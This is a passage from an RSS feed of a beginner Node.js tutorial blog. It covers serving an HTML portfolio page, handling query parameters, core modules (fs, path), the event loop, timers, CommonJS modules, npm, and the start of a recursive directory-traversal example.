         <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#fff</span>;
         <span class="hljs-attribute">padding</span>: <span class="hljs-number">2rem</span>;
         <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">1.5rem</span>;
         <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">5px</span>;
         <span class="hljs-attribute">box-shadow</span>: <span class="hljs-number">0</span> <span class="hljs-number">2px</span> <span class="hljs-number">5px</span> <span class="hljs-built_in">rgba</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0.1</span>);
       }
       <span class="hljs-selector-class">.about</span> <span class="hljs-selector-tag">h2</span>,
       <span class="hljs-selector-class">.projects</span> <span class="hljs-selector-tag">h2</span> {
         <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">1rem</span>;
       }
       <span class="hljs-selector-class">.about</span> <span class="hljs-selector-tag">p</span> {
         <span class="hljs-attribute">font-size</span>: <span class="hljs-number">1.1rem</span>;
         <span class="hljs-attribute">line-height</span>: <span class="hljs-number">1.8</span>;
       }
       <span class="hljs-selector-class">.projects</span> {
         <span class="hljs-attribute">display</span>: grid;
         <span class="hljs-attribute">grid-template-columns</span>: <span class="hljs-built_in">repeat</span>(auto-fit, minmax(<span class="hljs-number">250px</span>, <span class="hljs-number">1</span>fr));
         <span class="hljs-attribute">gap</span>: <span class="hljs-number">1.5rem</span>;
       }
       <span class="hljs-selector-class">.project-card</span> {
         <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#f9f9f9</span>;
         <span class="hljs-attribute">padding</span>: <span class="hljs-number">1.5rem</span>;
         <span class="hljs-attribute">border-radius</span>: <span class="hljs-number">5px</span>;
         <span class="hljs-attribute">box-shadow</span>: <span class="hljs-number">0</span> <span class="hljs-number">2px</span> <span class="hljs-number">5px</span> <span class="hljs-built_in">rgba</span>(<span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0</span>, <span class="hljs-number">0.1</span>);
       }
       <span class="hljs-selector-class">.project-card</span> <span class="hljs-selector-tag">h3</span> {
         <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">0.5rem</span>;
       }
       <span class="hljs-selector-class">.project-card</span> <span class="hljs-selector-tag">p</span> {
         <span class="hljs-attribute">margin-bottom</span>: <span class="hljs-number">1rem</span>;
       }
       <span class="hljs-selector-tag">footer</span> {
         <span class="hljs-attribute">background-color</span>: <span class="hljs-number">#333</span>;
         <span class="hljs-attribute">color</span>: <span class="hljs-number">#fff</span>;
         <span class="hljs-attribute">text-align</span>: center;
         <span class="hljs-attribute">padding</span>: <span class="hljs-number">1rem</span> <span class="hljs-number">0</span>;
       }
       <span class="hljs-selector-tag">footer</span> <span class="hljs-selector-tag">p</span> {
         <span class="hljs-attribute">margin</span>: <span class="hljs-number">0</span>;
       }
     </span><span class="hljs-tag">&lt;/<span class="hljs-name">style</span>&gt;</span>
   <span class="hljs-tag">&lt;/<span class="hljs-name">head</span>&gt;</span>
   <span class="hljs-tag">&lt;<span class="hljs-name">body</span>&gt;</span>
     <span class="hljs-tag">&lt;<span class="hljs-name">header</span>&gt;</span>
       <span class="hljs-tag">&lt;<span class="hljs-name">h1</span>&gt;</span>Sungava College<span class="hljs-tag">&lt;/<span class="hljs-name">h1</span>&gt;</span>
       <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>Web Developer | Designer | Programmer<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
     <span class="hljs-tag">&lt;/<span class="hljs-name">header</span>&gt;</span>

     <span class="hljs-tag">&lt;<span class="hljs-name">nav</span>&gt;</span>
       <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#about"</span>&gt;</span>About<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
       <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#projects"</span>&gt;</span>Projects<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
       <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#contact"</span>&gt;</span>Contact<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
     <span class="hljs-tag">&lt;/<span class="hljs-name">nav</span>&gt;</span>

     <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"container"</span>&gt;</span>
       <span class="hljs-tag">&lt;<span class="hljs-name">section</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"about"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"about"</span>&gt;</span>
         <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>About Me<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
         <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>
           Hello! I'm Apple, a passionate web developer with experience in
           building dynamic and responsive websites. I enjoy turning complex
           problems into simple, beautiful, and intuitive solutions.
         <span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
       <span class="hljs-tag">&lt;/<span class="hljs-name">section</span>&gt;</span>

       <span class="hljs-tag">&lt;<span class="hljs-name">section</span> <span class="hljs-attr">id</span>=<span class="hljs-string">"projects"</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"projects"</span>&gt;</span>
         <span class="hljs-tag">&lt;<span class="hljs-name">h2</span>&gt;</span>Projects<span class="hljs-tag">&lt;/<span class="hljs-name">h2</span>&gt;</span>
         <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"project-card"</span>&gt;</span>
           <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>Project One<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span>
           <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>A responsive website built with HTML, CSS, and JavaScript.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
           <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#"</span>&gt;</span>View Project<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
         <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
         <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"project-card"</span>&gt;</span>
           <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>Project Two<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span>
           <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>A dynamic web application using the MERN stack.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
           <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#"</span>&gt;</span>View Project<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
         <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
         <span class="hljs-tag">&lt;<span class="hljs-name">div</span> <span class="hljs-attr">class</span>=<span class="hljs-string">"project-card"</span>&gt;</span>
           <span class="hljs-tag">&lt;<span class="hljs-name">h3</span>&gt;</span>Project Three<span class="hljs-tag">&lt;/<span class="hljs-name">h3</span>&gt;</span>
           <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span>An eCommerce platform built using React and Node.js.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
           <span class="hljs-tag">&lt;<span class="hljs-name">a</span> <span class="hljs-attr">href</span>=<span class="hljs-string">"#"</span>&gt;</span>View Project<span class="hljs-tag">&lt;/<span class="hljs-name">a</span>&gt;</span>
         <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>
       <span class="hljs-tag">&lt;/<span class="hljs-name">section</span>&gt;</span>
     <span class="hljs-tag">&lt;/<span class="hljs-name">div</span>&gt;</span>

     <span class="hljs-tag">&lt;<span class="hljs-name">footer</span>&gt;</span>
       <span class="hljs-tag">&lt;<span class="hljs-name">p</span>&gt;</span><span class="hljs-symbol">&amp;copy;</span> 2024 Sungava College. All Rights Reserved.<span class="hljs-tag">&lt;/<span class="hljs-name">p</span>&gt;</span>
     <span class="hljs-tag">&lt;/<span class="hljs-name">footer</span>&gt;</span>
   <span class="hljs-tag">&lt;/<span class="hljs-name">body</span>&gt;</span>
 <span class="hljs-tag">&lt;/<span class="hljs-name">html</span>&gt;</span>
</code></pre>
</li>
<li><p>Modify the server to read and serve this file:</p>
<pre><code class="lang-javascript"> <span class="hljs-keyword">const</span> http = <span class="hljs-built_in">require</span>(<span class="hljs-string">'http'</span>);
 <span class="hljs-keyword">const</span> fs = <span class="hljs-built_in">require</span>(<span class="hljs-string">'fs'</span>);

 <span class="hljs-comment">// Create an HTTP server</span>
 <span class="hljs-keyword">const</span> server = http.createServer(<span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
   <span class="hljs-keyword">if</span> (req.url === <span class="hljs-string">'/home'</span>) {
     fs.readFile(<span class="hljs-string">'index.html'</span>, <span class="hljs-function">(<span class="hljs-params">err, data</span>) =&gt;</span> {
       <span class="hljs-keyword">if</span> (err) {
         res.writeHead(<span class="hljs-number">500</span>, { <span class="hljs-string">'Content-Type'</span>: <span class="hljs-string">'text/plain'</span> });
         res.end(<span class="hljs-string">'500 - Internal Server Error'</span>);
       } <span class="hljs-keyword">else</span> {
         res.writeHead(<span class="hljs-number">200</span>, { <span class="hljs-string">'Content-Type'</span>: <span class="hljs-string">'text/html'</span> });
         res.end(data);
       }
     });
   } <span class="hljs-keyword">else</span> {
     res.writeHead(<span class="hljs-number">404</span>, { <span class="hljs-string">'Content-Type'</span>: <span class="hljs-string">'text/plain'</span> });
     res.end(<span class="hljs-string">'404 - Not Found'</span>);
   }
 });

 <span class="hljs-comment">// The server listens on port 3000</span>
 server.listen(<span class="hljs-number">3000</span>, <span class="hljs-function">() =&gt;</span> {
   <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Server is listening on port 3000...'</span>);
 });
</code></pre>
</li>
</ol>
<p><strong>Test the server:</strong></p>
<ul>
<li>Open <a target="_blank" href="http://localhost:3000/home"><code>http://localhost:3000/home</code></a> to see the HTML file served by the Node.js server.</li>
</ul>
<hr />
<h4 id="heading-task-5-handle-query-parameters"><strong>Task 5: Handle Query Parameters</strong></h4>
<p><strong>What to do:</strong></p>
<ul>
<li>Handle query parameters from a URL and return dynamic content based on those parameters.</li>
</ul>
<p><strong>Example:</strong></p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> http = <span class="hljs-built_in">require</span>(<span class="hljs-string">"http"</span>);
<span class="hljs-keyword">const</span> url = <span class="hljs-built_in">require</span>(<span class="hljs-string">"url"</span>);

<span class="hljs-comment">// Create an HTTP server</span>
<span class="hljs-keyword">const</span> server = http.createServer(<span class="hljs-function">(<span class="hljs-params">req, res</span>) =&gt;</span> {
  <span class="hljs-comment">// Parse the URL and extract query parameters</span>
  <span class="hljs-keyword">const</span> parsedUrl = url.parse(req.url, <span class="hljs-literal">true</span>);
  <span class="hljs-keyword">const</span> queryObject = parsedUrl.query;

  <span class="hljs-comment">// Check if the path starts with /greet/</span>
  <span class="hljs-keyword">if</span> (req.url.startsWith(<span class="hljs-string">"/greet/"</span>)) {
    <span class="hljs-comment">// Extract the "name" query parameter, or default to "Guest"</span>
    <span class="hljs-keyword">const</span> name = queryObject.name || <span class="hljs-string">"Guest"</span>;

    <span class="hljs-comment">// Set response header and send the greeting message</span>
    res.writeHead(<span class="hljs-number">200</span>, { <span class="hljs-string">"Content-Type"</span>: <span class="hljs-string">"text/plain"</span> });
    res.end(<span class="hljs-string">`Hello, <span class="hljs-subst">${name}</span>!`</span>);
  } <span class="hljs-keyword">else</span> {
    <span class="hljs-comment">// Handle 404 Not Found if the route doesn't match /greet/</span>
    res.writeHead(<span class="hljs-number">404</span>, { <span class="hljs-string">"Content-Type"</span>: <span class="hljs-string">"text/plain"</span> });
    res.end(<span class="hljs-string">"404 - Not Found"</span>);
  }
});

<span class="hljs-comment">// The server listens on port 3000</span>
server.listen(<span class="hljs-number">3000</span>, <span class="hljs-function">() =&gt;</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">"Server is listening on port 3000..."</span>);
});
</code></pre>
<p><strong>Test the server:</strong></p>
<ul>
<li>Open <a target="_blank" href="http://localhost:3000/greet?name=John"><code>http://localhost:3000/greet?name=John</code></a> to see dynamic content generated based on the query parameter (<code>name=John</code>).</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Day 2: Understanding Core Modules and the Event Loop: Using Modules and npm]]></title><description><![CDATA[Node.js core modules (e.g., fs, path, http, os)Understanding the Event LoopSynchronous vs Asynchronous programming in Node.jsPractical: Basic file operations using fs module (read, write, append)Handling paths with path moduleTiming events with setTi...]]></description><link>https://article.kumarchaudhary.com.np/understanding-core-modules-and-the-event-loop-on-days-2-and-3-using-modules-and-npm</link><guid isPermaLink="true">https://article.kumarchaudhary.com.np/understanding-core-modules-and-the-event-loop-on-days-2-and-3-using-modules-and-npm</guid><dc:creator><![CDATA[Kumar Chaudhary]]></dc:creator><pubDate>Mon, 23 Sep 2024 04:55:15 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1727110894019/b388b4a3-10f3-45af-9950-374663b31d53.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<p>Node.js core modules (e.g., fs, path, http, os)<br />Understanding the Event Loop<br />Synchronous vs Asynchronous programming in Node.js<br />Practical: Basic file operations using fs module (read, write, append)<br />Handling paths with path module<br />Timing events with setTimeout and setInterval</p>
<h4 id="heading-event-loop-in-nodejs"><strong>Event Loop in Node.js</strong></h4>
<p><strong>What is the Event Loop?</strong></p>
<ul>
<li>Node.js uses an <strong>event-driven, non-blocking I/O model</strong> which makes it lightweight and efficient. The <strong>event loop</strong> is responsible for handling asynchronous operations. It allows Node.js to handle multiple operations without creating multiple threads.</li>
</ul>
<p><strong>Example of Event Loop:</strong></p>
<pre><code class="lang-javascript"><span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Start'</span>);

<span class="hljs-built_in">setTimeout</span>(<span class="hljs-function">() =&gt;</span> {
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Timeout function executed'</span>);
}, <span class="hljs-number">2000</span>);

<span class="hljs-built_in">console</span>.log(<span class="hljs-string">'End'</span>);
</code></pre>
<h4 id="heading-synchronous-vs-asynchronous-programming"><strong>Synchronous vs Asynchronous Programming</strong></h4>
<ul>
<li><p><strong>Synchronous</strong>:</p>
<ul>
<li>Operations that block further code execution until the current task is finished. In Node.js, most operations can be done asynchronously to avoid blocking the event loop.</li>
</ul>
</li>
</ul>
<p>    <strong>Example of Synchronous Code:</strong></p>
<pre><code class="lang-javascript">    <span class="hljs-keyword">const</span> fs = <span class="hljs-built_in">require</span>(<span class="hljs-string">'fs'</span>);

    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Start reading file...'</span>);
    <span class="hljs-keyword">const</span> data = fs.readFileSync(<span class="hljs-string">'example.txt'</span>, <span class="hljs-string">'utf-8'</span>);
    <span class="hljs-built_in">console</span>.log(data);
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Finished reading file.'</span>);
</code></pre>
<ul>
<li>This code <strong>blocks</strong> further execution until the file is completely read.</li>
</ul>
<ul>
<li><p><strong>Asynchronous</strong>:</p>
<ul>
<li>Non-blocking operations that allow the rest of the program to run while waiting for a task (like reading a file) to complete.</li>
</ul>
</li>
</ul>
<p>    <strong>Example of Asynchronous Code:</strong></p>
<pre><code class="lang-javascript">    <span class="hljs-keyword">const</span> fs = <span class="hljs-built_in">require</span>(<span class="hljs-string">'fs'</span>);

    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Start reading file...'</span>);
    fs.readFile(<span class="hljs-string">'example.txt'</span>, <span class="hljs-string">'utf-8'</span>, <span class="hljs-function">(<span class="hljs-params">err, data</span>) =&gt;</span> {
      <span class="hljs-keyword">if</span> (err) <span class="hljs-keyword">throw</span> err;
      <span class="hljs-built_in">console</span>.log(data);
    });
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Finished reading file.'</span>);
</code></pre>
<ul>
<li>Here, Node.js will continue executing other code (e.g., "Finished reading file.") while waiting for the file to be read.</li>
</ul>
<ul>
<li><h3 id="heading-2-practical"><strong>2. Practical:</strong></h3>
<hr />
<h4 id="heading-basic-file-operations-with-fs-module"><strong>Basic File Operations with</strong> <code>fs</code> Module</h4>
<ul>
<li><p><strong>fs (File System) module:</strong></p>
<ul>
<li><p>Allows working with the file system, such as reading, writing, and appending to files.</p>
</li>
<li><p><strong>Reading a File (Asynchronous):</strong></p>
<pre><code class="lang-javascript">  <span class="hljs-keyword">const</span> fs = <span class="hljs-built_in">require</span>(<span class="hljs-string">'fs'</span>);

  fs.readFile(<span class="hljs-string">'example.txt'</span>, <span class="hljs-string">'utf-8'</span>, <span class="hljs-function">(<span class="hljs-params">err, data</span>) =&gt;</span> {
    <span class="hljs-keyword">if</span> (err) <span class="hljs-keyword">throw</span> err;
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'File contents:'</span>, data);
  });
</code></pre>
</li>
<li><p><strong>Writing to a File (Asynchronous):</strong></p>
<pre><code class="lang-javascript">  <span class="hljs-keyword">const</span> fs = <span class="hljs-built_in">require</span>(<span class="hljs-string">'fs'</span>);

  fs.writeFile(<span class="hljs-string">'output.txt'</span>, <span class="hljs-string">'Hello, Node.js!'</span>, <span class="hljs-function">(<span class="hljs-params">err</span>) =&gt;</span> {
    <span class="hljs-keyword">if</span> (err) <span class="hljs-keyword">throw</span> err;
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'File written successfully.'</span>);
  });
</code></pre>
</li>
<li><p><strong>Appending to a File (Asynchronous):</strong></p>
<pre><code class="lang-javascript">  <span class="hljs-keyword">const</span> fs = <span class="hljs-built_in">require</span>(<span class="hljs-string">'fs'</span>);

  fs.appendFile(<span class="hljs-string">'output.txt'</span>, <span class="hljs-string">'\nAppended text.'</span>, <span class="hljs-function">(<span class="hljs-params">err</span>) =&gt;</span> {
    <span class="hljs-keyword">if</span> (err) <span class="hljs-keyword">throw</span> err;
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Text appended successfully.'</span>);
  });
</code></pre>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<h4 id="heading-handling-paths-with-path-module"><strong>Handling Paths with</strong> <code>path</code> Module</h4>
<ul>
<li><p><strong>path module:</strong></p>
<ul>
<li><p>Helps with working with file and directory paths. It's especially useful when you need to manipulate or join paths across platforms.</p>
</li>
<li><p><strong>Joining Paths:</strong></p>
<pre><code class="lang-javascript">  <span class="hljs-keyword">const</span> path = <span class="hljs-built_in">require</span>(<span class="hljs-string">'path'</span>);

  <span class="hljs-keyword">const</span> fullPath = path.join(__dirname, <span class="hljs-string">'files'</span>, <span class="hljs-string">'example.txt'</span>);
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Full Path:'</span>, fullPath);
</code></pre>
</li>
<li><p><strong>Getting File Name from Path:</strong></p>
<pre><code class="lang-javascript">  <span class="hljs-keyword">const</span> path = <span class="hljs-built_in">require</span>(<span class="hljs-string">'path'</span>);

  <span class="hljs-keyword">const</span> filePath = <span class="hljs-string">'/users/documents/example.txt'</span>;
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'File Name:'</span>, path.basename(filePath));
</code></pre>
</li>
<li><p><strong>Getting Directory Name from Path:</strong></p>
<pre><code class="lang-javascript">  <span class="hljs-keyword">const</span> path = <span class="hljs-built_in">require</span>(<span class="hljs-string">'path'</span>);

  <span class="hljs-keyword">const</span> filePath = <span class="hljs-string">'/users/documents/example.txt'</span>;
  <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Directory Name:'</span>, path.dirname(filePath));
</code></pre>
</li>
</ul>
</li>
</ul>
<hr />
<h4 id="heading-timing-events-with-settimeout-and-setinterval"><strong>Timing Events with</strong> <code>setTimeout</code> and <code>setInterval</code></h4>
<ul>
<li><p><code>setTimeout</code>: Runs a function after a certain delay (once).</p>
<pre><code class="lang-javascript">  <span class="hljs-built_in">setTimeout</span>(<span class="hljs-function">() =&gt;</span> {
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'This runs after 3 seconds'</span>);
  }, <span class="hljs-number">3000</span>); <span class="hljs-comment">// 3000 milliseconds = 3 seconds</span>
</code></pre>
</li>
<li><p><code>setInterval</code>: Runs a function repeatedly after a specified interval.</p>
<pre><code class="lang-javascript">  <span class="hljs-built_in">setInterval</span>(<span class="hljs-function">() =&gt;</span> {
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'This runs every 2 seconds'</span>);
  }, <span class="hljs-number">2000</span>); <span class="hljs-comment">// 2000 milliseconds = 2 seconds</span>
</code></pre>
</li>
<li><p><strong>Clearing Intervals:</strong></p>
<pre><code class="lang-javascript">  <span class="hljs-keyword">const</span> intervalId = <span class="hljs-built_in">setInterval</span>(<span class="hljs-function">() =&gt;</span> {
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Repeating...'</span>);
  }, <span class="hljs-number">1000</span>);

  <span class="hljs-built_in">setTimeout</span>(<span class="hljs-function">() =&gt;</span> {
    <span class="hljs-built_in">clearInterval</span>(intervalId);
    <span class="hljs-built_in">console</span>.log(<span class="hljs-string">'Stopped interval'</span>);
  }, <span class="hljs-number">5000</span>); <span class="hljs-comment">// Stop after 5 seconds</span>
</code></pre>
</li>
</ul>
<ul>
<li><h3 id="heading-working-with-modules-and-npm"><strong>Working with Modules and npm</strong></h3>
</li>
<li><p><a target="_blank" href="https://spectrumstutz.wordpress.com/wp-content/uploads/2022/10/03275-nodejs-npm-01-1.png"><img src="https://cdn.hashnode.com/res/hashnode/image/upload/v1727111022929/0132c432-6878-4972-a628-adeab241dab5.png" alt class="image--center mx-auto" /></a></p>
<h4 id="heading-1-theory"><strong>1. Theory:</strong></h4>
<hr />
<h4 id="heading-modular-programming-in-nodejs"><strong>Modular Programming in Node.js</strong></h4>
<ul>
<li><p><strong>What is Modular Programming?</strong></p>
<ul>
<li><strong>Modular programming</strong> is about breaking a program into smaller, reusable parts (called modules). Each module contains related functionality, making code easier to maintain and scale.</li>
</ul>
</li>
<li><p><strong>Node.js uses CommonJS module system</strong>, which includes:</p>
<ul>
<li><p><code>require()</code>: Used to load modules.</p>
</li>
<li><p><code>module.exports</code>: Used to export functionality from a module so other files can use it.</p>
</li>
</ul>
</li>
</ul>
</li>
</ul>
<hr />
<h4 id="heading-commonjs-how-modules-work-in-nodejs"><strong>CommonJS: How Modules Work in Node.js</strong></h4>
<ul>
<li><p><strong>Creating a module:</strong></p>
<ul>
<li>In Node.js, you can create your own module by writing code in a separate file and exporting the functionality you want to reuse.</li>
</ul>
</li>
<li><p><strong>Using</strong> <code>require()</code> to load a module:</p>
<ul>
<li>To use a module in another file, you load it with <code>require()</code>.</li>
</ul>
</li>
</ul>
<p>        <strong>Example:</strong></p>
<pre><code class="lang-javascript">        <span class="hljs-comment">// math.js (your custom module)</span>
        <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">add</span>(<span class="hljs-params">a, b</span>) </span>{
          <span class="hljs-keyword">return</span> a + b;
        }

        <span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">subtract</span>(<span class="hljs-params">a, b</span>) </span>{
          <span class="hljs-keyword">return</span> a - b;
        }

        <span class="hljs-comment">// Exporting the functions</span>
        <span class="hljs-built_in">module</span>.exports = { add, subtract };
</code></pre>
<ul>
<li>Now, you can use the <code>add</code> and <code>subtract</code> functions from <code>math.js</code> in another file:</li>
</ul>
<pre><code class="lang-javascript">        <span class="hljs-comment">// main.js</span>
        <span class="hljs-keyword">const</span> math = <span class="hljs-built_in">require</span>(<span class="hljs-string">'./math'</span>);

        <span class="hljs-built_in">console</span>.log(math.add(<span class="hljs-number">5</span>, <span class="hljs-number">3</span>)); <span class="hljs-comment">// Output: 8</span>
        <span class="hljs-built_in">console</span>.log(math.subtract(<span class="hljs-number">10</span>, <span class="hljs-number">7</span>)); <span class="hljs-comment">// Output: 3</span>
</code></pre>
<hr />
<h4 id="heading-what-is-npm-and-package-management"><strong>What is npm and Package Management?</strong></h4>
<ul>
<li><p><strong>What is npm?</strong></p>
<ul>
<li><p>npm (Node Package Manager) is the default package manager for Node.js. It helps install, manage, and share reusable packages of code.</p>
</li>
<li><p>npm allows you to easily download and integrate thousands of third-party libraries (packages) like <code>lodash</code>, <code>axios</code>, etc., into your project.</p>
</li>
</ul>
</li>
<li><p><strong>Package Management:</strong></p>
<ul>
<li>Packages are collections of code that can be easily installed and managed using npm. They are stored in a registry (like npm's registry) and can be added to your project with simple commands.</li>
</ul>
</li>
</ul>
<hr />
<h4 id="heading-introduction-to-packagejson-and-dependencies"><strong>Introduction to</strong> <code>package.json</code> and Dependencies</h4>
<ul>
<li><p><strong>What is</strong> <code>package.json</code>?</p>
<ul>
<li><code>package.json</code> is a file that holds metadata about your Node.js project (like project name, version, and dependencies). It is automatically generated when you run the <code>npm init</code> command.</li>
</ul>
</li>
<li><p><strong>Dependencies:</strong></p>
<ul>
<li>Dependencies are packages your project relies on. They are listed in <code>package.json</code> so they can be easily installed on any machine using <code>npm install</code>.</li>
</ul>
</li>
</ul>
<hr />
<h3 id="heading-3-tasks-for-day-2"><strong>3. Tasks for Day 2:</strong></h3>
<ol>
<li><p><strong>Task 1: File Operations</strong></p>
<ul>
<li><p><strong>What to do:</strong></p>
<ul>
<li><p>Create a new file called <code>notes.txt</code> and write "Learning Node.js" into it.</p>
</li>
<li><p>Read and display the content of <code>notes.txt</code>.</p>
</li>
<li><p>Append "Node.js is awesome!" to the same file and read it again.</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Task 2: Path Operations</strong></p>
<ul>
<li><p><strong>What to do:</strong></p>
<ul>
<li><p>Use the <code>path</code> module to print the full path of your <code>notes.txt</code> file.</p>
</li>
<li><p>Extract and print only the file name from the path.</p>
</li>
<li><p>Extract and print the directory name from the path.</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Task 3: Timing Events</strong></p>
<ul>
<li><p><strong>What to do:</strong></p>
<ul>
<li><p>Write a <code>setTimeout</code> function to print "Hello after 3 seconds."</p>
</li>
<li><p>Use <code>setInterval</code> to print "Learning is fun!" every 2 seconds and stop it after 10 seconds using <code>clearInterval</code>.</p>
</li>
</ul>
</li>
</ul>
</li>
<li><p><strong>Reflection:</strong></p>
<ul>
<li>Write a paragraph about your understanding of synchronous and asynchronous programming. Explain the difference in your own words.</li>
</ul>
</li>
</ol>
<hr />
<h3 id="heading-additional-resources"><strong>Additional Resources:</strong></h3>
<ul>
<li><p>Node.js Official Documentation</p>
</li>
<li><p>Understanding the Node.js Event Loop</p>
</li>
</ul>
<hr />
<h3 id="heading-summary"><strong>Summary:</strong></h3>
<ul>
<li><p><strong>Theory</strong>: Focus on core modules like <code>fs</code>, <code>path</code>, and the Node.js event loop.</p>
</li>
<li><p><strong>Practical</strong>: Perform file operations, handle paths, and understand timing events with <code>setTimeout</code> and <code>setInterval</code>.</p>
</li>
<li><p><strong>Tasks</strong>: Reinforce learning by writing and manipulating files, handling paths, and experimenting with asynchronous timers.</p>
</li>
</ul>
]]></content:encoded></item><item><title><![CDATA[Recursive Function Implementation in Backend]]></title><description><![CDATA[Example: File System Traversal
Imagine you are developing a backend application that needs to traverse a file system to find all files with a specific extension (e.g., .txt, .jpg) and compute the total size of these files.
const fs = require('fs');
c...]]></description><link>https://article.kumarchaudhary.com.np/recursive-function-implementation-in-backend</link><guid isPermaLink="true">https://article.kumarchaudhary.com.np/recursive-function-implementation-in-backend</guid><category><![CDATA[js]]></category><category><![CDATA[JavaScript]]></category><category><![CDATA[Recursion in programming ]]></category><dc:creator><![CDATA[Kumar Chaudhary]]></dc:creator><pubDate>Sun, 14 Jul 2024 16:42:45 GMT</pubDate><enclosure url="https://cdn.hashnode.com/res/hashnode/image/upload/v1720975166710/6840a572-a4e8-4423-8d03-01aca4263309.png" length="0" type="image/jpeg"/><content:encoded><![CDATA[<h3 id="heading-example-file-system-traversal">Example: File System Traversal</h3>
<p>Imagine you are developing a backend application that needs to traverse a file system to find all files with a specific extension (e.g., <code>.txt</code>, <code>.jpg</code>) and compute the total size of these files.</p>
<pre><code class="lang-javascript"><span class="hljs-keyword">const</span> fs = <span class="hljs-built_in">require</span>(<span class="hljs-string">'fs'</span>);
<span class="hljs-keyword">const</span> path = <span class="hljs-built_in">require</span>(<span class="hljs-string">'path'</span>);

<span class="hljs-comment">// Function to recursively traverse a directory</span>
<span class="hljs-function"><span class="hljs-keyword">function</span> <span class="hljs-title">traverseDirectory</span>(<span class="hljs-params">dirPath, extension, totalSize = <span class="hljs-number">0</span></span>) </span>{
  <span class="hljs-keyword">const</span> files = fs.readdirSync(dirPath);

  files.forEach(<span class="hljs-function"><span class="hljs-params">file</span> =&gt;</span> {
    <span class="hljs-keyword">const</span> filePath = path.join(dirPath, file);
    <span class="hljs-keyword">const</span> stats = fs.statSync(filePath);

    <span class="hljs-keyword">if</span> (stats.isDirectory()) {
      <span class="hljs-comment">// Recursively traverse subdirectories</span>
      totalSize = traverseDirectory(filePath, extension, totalSize);
    } <span class="hljs-keyword">else</span> <span class="hljs-keyword">if</span> (stats.isFile() &amp;&amp; path.extname(file) === extension) {
      <span class="hljs-comment">// Process files with the specified extension</span>
